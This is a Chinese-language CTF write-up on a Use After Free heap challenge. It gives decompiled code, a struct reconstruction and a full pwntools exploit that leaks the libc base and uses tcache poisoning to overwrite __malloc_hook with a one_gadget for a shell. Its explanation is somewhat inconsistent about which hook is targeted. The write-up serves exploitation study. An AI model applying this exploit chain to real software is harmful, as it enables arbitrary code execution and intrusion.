UAFUAF
山林川泽UAF 即 Use After Free (释放后使用)当一个指针所指向的指针块被释放掉之后可以再次被使用, 但是这是有要求的,不妨将所有的情况列举出来
1 2 3 4 5
| chunk被释放之后,其对应的指针被设置为NULL,如果再次使用它,程序就会崩溃。
chunk被释放之后,其对应的指针未被设置为NULL,如果在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时**程序很有可能正常运转**
内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,**就很有可能会出现奇怪的问题**
|
在堆中 Use After Free 一般指的是后两种漏洞, 我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer(悬空指针)
来看一道题
ida静态分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3;
init_env(argc, argv, envp); puts("Easy Note."); while ( 1 ) { while ( 1 ) { menu(); v3 = getnum(); if ( v3 != 4 ) break; edit(); } if ( v3 > 4 ) { LABEL_13: puts("Invalid!"); } else if ( v3 == 3 ) { show(); } else { if ( v3 > 3 ) goto LABEL_13; if ( v3 == 1 ) { add(); } else { if ( v3 != 2 ) goto LABEL_13; delete(); } } } }
|
进入菜单看看
1 2 3 4 5 6 7 8
| int menu() { puts("1.Add."); puts("2.Delete."); puts("3.Show."); puts("4.Edit."); return puts("Choice: "); }
|
可以看到有四种功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| int add() { __int64 v1; int i; int v3;
for ( i = 0; i <= 15 && *((_QWORD *)&heaplist + i); ++i ) ; if ( i == 16 ) { puts("Full!"); return 0; } else { puts("Size:"); v3 = getnum(); if ( (unsigned int)v3 > 0x500 ) { return puts("Invalid!"); } else { *((_QWORD *)&heaplist + i) = malloc(0x20uLL); if ( !*((_QWORD *)&heaplist + i) ) { puts("Malloc Error!"); exit(1); } v1 = *((_QWORD *)&heaplist + i); *(_QWORD *)(v1 + 16) = malloc(v3); if ( !*(_QWORD *)(*((_QWORD *)&heaplist + i) + 16LL) ) { puts("Malloc Error!"); exit(1); } *(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3; puts("Name: "); if ( !(unsigned int)read(0, *((void **)&heaplist + i), 0x10uLL) ) { puts("Something error!"); exit(1); } puts("Content:"); if ( !(unsigned int)read( 0, *(void **)(*((_QWORD *)&heaplist + i) + 16LL), *(int *)(*((_QWORD *)&heaplist + i) + 24LL)) ) { puts("Error!"); exit(1); } *(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1; return puts("Done!"); } } }
|
Add函数
结构体设计
每个堆块包含:
- 16字节的name字段
- 8字节的content指针(指向数据区)
- 4字节的size(数据区大小)
- 4字节的status(使用状态)
结构体基地址分配
1 2 3 4
| *((_QWORD *)&heaplist + i) = malloc(0x20uLL);
总大小:0x20 字节(32 字节) 对应设计:整个结构体的大小为 32 字节,由后续字段的偏移总和验证。
|
结构体字段定义(通过偏移操作体现)
(1) name 字段(0x00-0x0F)
1 2 3 4 5
| read(0, *((void **)&heaplist + i), 0x10uLL);
偏移:0x00(基地址起始位置 长度:0x10(16 字节) 操作:直接将用户输入的 16 字节数据写入结构体起始地址。
|
(2) content_ptr 字段(0x10-0x17)
1 2 3 4 5 6 7 8 9 10 11 12
| *(_QWORD *)(v1 + 16) = malloc(v3); 偏移:0x10(基地址 + 16 字节)
类型:_QWORD(64 位指针)
操作:
v1 是结构体基地址(heaplist[i])
v1 + 16 定位到 content_ptr 字段的地址
将 malloc(v3) 返回的 content 数据区指针存入此处
|
。
(3) size 字段(0x18-0x1B)
1 2 3 4 5 6
| *(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3; 偏移:0x18(基地址 + 24 字节)
类型:_DWORD(4 字节整数)
操作:将用户输入的 v3(content 大小)存入此处。
|
(4) status 字段(0x1C-0x1F)
1 2 3 4 5 6
| *(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1; 偏移:0x1C(基地址 + 28 字节)
类型:_DWORD(4 字节整数)
操作:将状态标记为 1(表示该堆块已被占用)。
|
结构体内存布局总结
通过代码中的偏移操作,可以反推出结构体的完整内存布局:
1 2 3 4 5 6 7 8 9 10
| struct HeapEntry { char name[16]; void* content_ptr; int size; int status; };
|
代码验证
content_ptr 访问:
1 2
| puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL)); +16LL 对应 content_ptr 的偏移 0x10,验证了字段位置。
|
size 使用:
1 2 3
| read(0, *(void **)(*((_QWORD *)&heaplist + i) + 16LL), *(int *)(*((_QWORD *)&heaplist + i) + 24LL)); +24LL 对应 size 字段的偏移 0x18,用于控制 read 的长度。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int show() { int v1;
puts("Input your idx:"); v1 = getnum(); if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) ) { puts(*((const char **)&heaplist + v1)); return puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL)); } else { puts("Error idx!"); return 0; } }
|
show函数
输入索引
通过getnum()
获取用户输入的索引值v1
。
索引有效性检查
1
| if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) )
|
- 范围检查:将
v1
转为无符号整数后检查是否 <=15(0xF
),防止负数索引
- 空指针检查:确保
heaplist[v1]
指针非空(堆块已分配)
输出堆块信息
输出 Name 字段:
1
| puts(*((const char **)&heaplist + v1));
|
- 直接输出结构体起始地址的 16 字节数据(即
name
字段)
- 依赖
name
以 \0
结尾(存在风险,见下文)
输出 Content 数据:
1
| puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL));
|
- 从结构体偏移
0x10
处读取 content_ptr
指针
- 输出
content_ptr
指向的数据,同样依赖 \0
终止符
总体思路
这道题提供了一个UAF条件来让我们进行UAF攻击
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
p = process("./ez_uaf")
elf = ELF("./ez_uaf")
context.log_level = 'debug'
def add(size, name, content): p.recvuntil("Choice") p.sendline("1") p.recvuntil("Size") p.sendline(str(size)) p.recvuntil("Name") p.sendline(name) p.recvuntil("Content") p.sendline(content)
def delete(idx): p.recvuntil("Choice") p.sendline("2") p.recvuntil("idx") p.sendline(str(idx))
def show(idx): p.recvuntil("Choice") p.sendline("3") p.recvuntil("idx") p.sendline(str(idx))
def edit(idx, content): p.recvuntil("Choice") p.sendline("4") p.recvuntil("idx") p.sendline(str(idx)) p.sendline(content)
if __name__ == "__main__": for _ in range(7): add(0x80, "a", "b")
add(0x80, "a", "b") add(0x20, "a", "b")
for i in range(7): delete(i)
delete(7) gdb.attach(p) show(7) leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) success(f"leak_main_arena: {hex(leak_main_arena)}") main_arena = leak_main_arena - 0x60 success(f"main_arena: {hex(main_arena)}") libc_base = main_arena - 0x3ebc40 success(f"libc base: {hex(libc_base)}")
edit(6, p64(main_arena - 0x10)) add(0x80, "1", "2") add(0x80, "1", p64(libc_base + 0x10a2fc)) p.recvuntil("Choice") p.sendline("1") p.recvuntil("Size") p.sendline(str(16))
p.interactive()
|
我们先来看攻击第一步,申请了七个堆块,然后又单独申请了大小分别为0x80和0x20的堆块
前七个堆块:
填充 tcache
的 0x80 大小单链表(默认最多缓存 7 个块)
第 8 个0x80堆块:
释放后会进入 unsorted bin
,其 fd/bk
会指向 main_arena
地址
小堆块隔离防止堆合并
然后释放堆块
释放堆块制造漏洞环境:
释放后内存状态
tcache[0x80] 链表已满(7 个块)
第 8 个堆块进入 unsorted bin,其 fd/bk 指向 main_arena(libc 地址)
泄露libc基地址
1 2 3 4 5 6
|
show(7) leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) main_arena = leak_main_arena - 0x60 libc_base = main_arena - 0x3ebc40
|
unsorted bin
中的堆块 fd
指向 main_arena.top
(main_arena + 0x60
)
- 通过泄露的地址计算
libc_base
(不同 libc 版本 main_arena
偏移不同
tcache poisoning 攻击
1 2 3
| edit(6, p64(main_arena - 0x10)) add(0x80, "1", "2") add(0x80, "1", p64(libc_base + 0x10a2fc))
|
关键操作:
- 修改 tcache 链表:
- 通过
edit(6)
修改第 6 个释放块(位于 tcache
链表头部)的 next
指针
- 将其指向
main_arena - 0x10
(伪造地址,可能对应 __free_hook
附近)
- 分配伪造堆块:
- 第一次
add
取出原链表头部,此时新链表头部指向伪造地址
- 第二次
add
分配到伪造地址,写入 __free_hook
地址(需根据 libc 符号计算)//走任意执行
p64(libc_base + 0x10a2fc)
是 system
或 one_gadget
地址(需根据目标 libc 调整)
- 这道题我们走的是one_gadget
关键原理
__malloc_hook 机制
__malloc_hook 是 libc 的全局变量,指向一个函数指针。当调用 malloc 时,若该指针非空,会优先执行其指向的代码。
利用方式:通过 tcache 投毒,将 __malloc_hook 覆盖为 One-Gadget 地址,后续 malloc 调用会直接触发 shell。